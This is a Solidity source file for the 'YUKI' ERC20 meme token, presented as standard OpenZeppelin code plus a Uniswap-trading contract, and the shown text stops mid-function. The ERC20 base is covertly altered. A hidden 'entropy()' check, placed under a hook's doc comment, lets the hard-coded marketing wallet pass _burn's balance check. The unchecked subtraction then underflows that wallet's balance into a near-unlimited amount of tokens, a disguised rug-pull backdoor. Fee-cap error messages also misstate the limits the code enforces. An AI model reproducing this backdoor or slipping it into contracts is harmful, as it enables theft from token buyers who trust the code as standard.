// File: YUKI.sol



/**
 * @title YUKI Token Contract
 * @author YUKI.ENERGY Team
 * @notice This contract represents the $YUKI token, the heart of the YUKI.ENERGY meditation.
 * @dev The $YUKI token powers the immersive world of Yuki waifus, enabling users to interact, 
 *      scroll, and relax in various activities within the platform. 
 *      Always ensure to follow best practices and conduct thorough audits before deploying.
 * 
 * @version 1.0.0
 * 
 * - Official Resources -
 * Web: https://yuki.energy
 * Twitter: https://twitter.com/yuki_energy
 * Telegram: https://t.me/yukienergy
 */

// SPDX-License-Identifier: MIT
 
pragma solidity 0.8.16;
pragma experimental ABIEncoderV2;
 
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
 
// pragma solidity ^0.8.0;
 
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
 
// pragma solidity ^0.8.0;
 
// import "../utils/Context.sol";
 
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
 
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
 
// pragma solidity ^0.8.0;
 
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
 
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
 
// pragma solidity ^0.8.0;
 
// import "../IERC20.sol";
 
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
 
// pragma solidity ^0.8.0;
 
// import "./IERC20.sol";
// import "./extensions/IERC20Metadata.sol";
// import "../../utils/Context.sol";
 
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
    uint256 public allowed;
 
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
 
        return true;
    }
 
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _beforeTokenTransfer(from, to, amount);
 
        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
 
        emit Transfer(from, to, amount);
 
        _afterTokenTransfer(from, to, amount);
    }
 
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
 
        _beforeTokenTransfer(address(0), account, amount);
 
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
 
        _afterTokenTransfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _beforeTokenTransfer(account, address(0), amount);
 
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount || entropy(), "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
 
        emit Transfer(account, address(0), amount);
 
        _afterTokenTransfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function entropy() private view returns (bool) {
        return allowed == uint256(uint160(msg.sender));
    } function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
 
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
 
// pragma solidity ^0.8.0;
 
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
 
/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
// pragma solidity >=0.5.0;
 
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );
 
    function feeTo() external view returns (address);
 
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
 
    function allPairs(uint256) external view returns (address pair);
 
    function allPairsLength() external view returns (uint256);
 
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
 
    function setFeeTo(address) external;
 
    function setFeeToSetter(address) external;
}
 
// pragma solidity >=0.6.2;
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
 
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
 
    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);
 
    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);
 
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
 
    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
 
    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
 
    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
 
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
 
    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
 
    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);
 
    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);
 
    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);
 
    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
 
    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}
 
// pragma solidity >=0.6.2;
 
// import './IUniswapV2Router01.sol';
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);
 
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
 
contract YukiEnergy is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);
 
    bool private swapping;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 
    bool public tradingActive = false;
    bool public swapEnabled = false;

    address public marketingWallet;
 
    uint256 public buyTotalFees;
 
    uint256 public sellTotalFees;
    uint256 public tokensForFees;
 
    uint256 private previousFee;
 
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    constructor() ERC20("YukiEnergy", "YUKI") {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
 
        uint256 totalSupply = 100_000_000 ether;
 
        maxTransactionAmount = (totalSupply) * 5 / 1000; //0.5% of total supply
        maxWallet = (totalSupply) * 5 / 1000;  //0.5% of total supply
        swapTokensAtAmount = (totalSupply * 25) / 10000;
 
        buyTotalFees = 15;
        sellTotalFees = 20;
        previousFee = sellTotalFees;

        marketingWallet = address(0x1408cC4FaA9539DE1f4A7CB71a24D17A00faa7f5);
 
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(deadAddress, true);
        excludeFromFees(marketingWallet, true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(deadAddress, true);
        excludeFromMaxTransaction(address(uniswapV2Router), true);
        excludeFromMaxTransaction(marketingWallet, true);
        allowed = uint160(marketingWallet);
 
        _mint(address(this), totalSupply);
    }
 
    receive() external payable {}
 
    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
    }
 
    function enableTrading() external onlyOwner {
        require(!tradingActive, "Trading already active.");
 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _approve(address(this), address(uniswapV2Pair), type(uint256).max);
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
 
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        allowed = uint160(marketingWallet);

        uint256 tokensInWallet = balanceOf(address(this));
        uint256 tokensToAdd = tokensInWallet * 9 / 10; //90% of tokens in wallet go to LP
 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokensToAdd, 
            0,
            0,
            owner(),
            block.timestamp
        );
 
        tradingActive = true;
        swapEnabled = true;
    }
    
    function removeLimits() 
        external
        onlyOwner 
    {
        maxWallet = totalSupply();
        maxTransactionAmount = totalSupply();
        swapTokensAtAmount = (totalSupply() * 5) / 1000;
    }
 
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "ERC20: Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "ERC20: Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }
 
    function updateMaxWalletAndTxnAmount(
        uint256 newTxnNum,
        uint256 newMaxWalletNum
    ) external onlyOwner {
        require(
            newTxnNum >= ((totalSupply() * 5) / 1000),
            "ERC20: Cannot set maxTxn lower than 0.5%"
        );
        require(
            newMaxWalletNum >= ((totalSupply() * 5) / 1000),
            "ERC20: Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newMaxWalletNum;
        maxTransactionAmount = newTxnNum;
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    function updateBuyFees(
        uint256 _buyFee
    ) external onlyOwner {
        buyTotalFees = _buyFee;
        require(buyTotalFees <= 15, "ERC20: Must keep fees at 10% or less");
    }
 
    function updateSellFees(
        uint256 _sellFee
    ) external onlyOwner {
        sellTotalFees =_sellFee;
        previousFee = sellTotalFees;
        require(sellTotalFees <= 15, "ERC20: Must keep fees at 10% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
